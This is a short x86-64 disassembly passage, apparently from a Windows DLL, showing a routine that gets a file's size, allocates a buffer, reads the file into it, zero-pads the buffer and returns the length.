pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x40], rdi
mov rcx, rbx
mov qword [rsp + 0x48], r14
lea r8d, [rdx + 2]
call fcn.18004f608
test eax, eax
jne 0x18001fe19
mov rcx, rbx
call fcn.1800500f0
movsxd r14, eax
cmp r14d, 0xffffffff
je 0x18001fe19
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.18004f608
test eax, eax
jne 0x18001fe19
mov rcx, qword [0x18008dc38]
lea eax, [r14 + rbp]
inc dword [rcx + 0x354]
mov rdx, qword [rcx + 0xf0]
movsxd rcx, eax
call rdx
mov rdi, rax
test rax, rax
je 0x18001fe19
mov r9, rbx
mov qword [rsp + 0x50], r15
mov r8, r14
mov edx, 1
mov rcx, rax
call fcn.18004f238
cmp rax, r14
je 0x18001fdf2
mov rcx, rbx
call fcn.18004a998
mov rax, qword [0x18008dc38]
mov rcx, rdi
dec dword [rax + 0x354]
call qword [rax + 0xf8]
xor eax, eax
mov r15, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
pop rbp
pop rbx
ret
test ebp, ebp
jle 0x18001fe04
mov r8, rbp
lea rcx, [r14 + rdi]
xor edx, edx
call fcn.180045a30
mov rcx, rbx
call fcn.18004a998
test rsi, rsi
je 0x18001fe14
mov dword [rsi], r14d
mov rax, rdi
jmp 0x18001fddb
mov rcx, rbx
call fcn.18004a998
xor eax, eax
jmp 0x18001fde0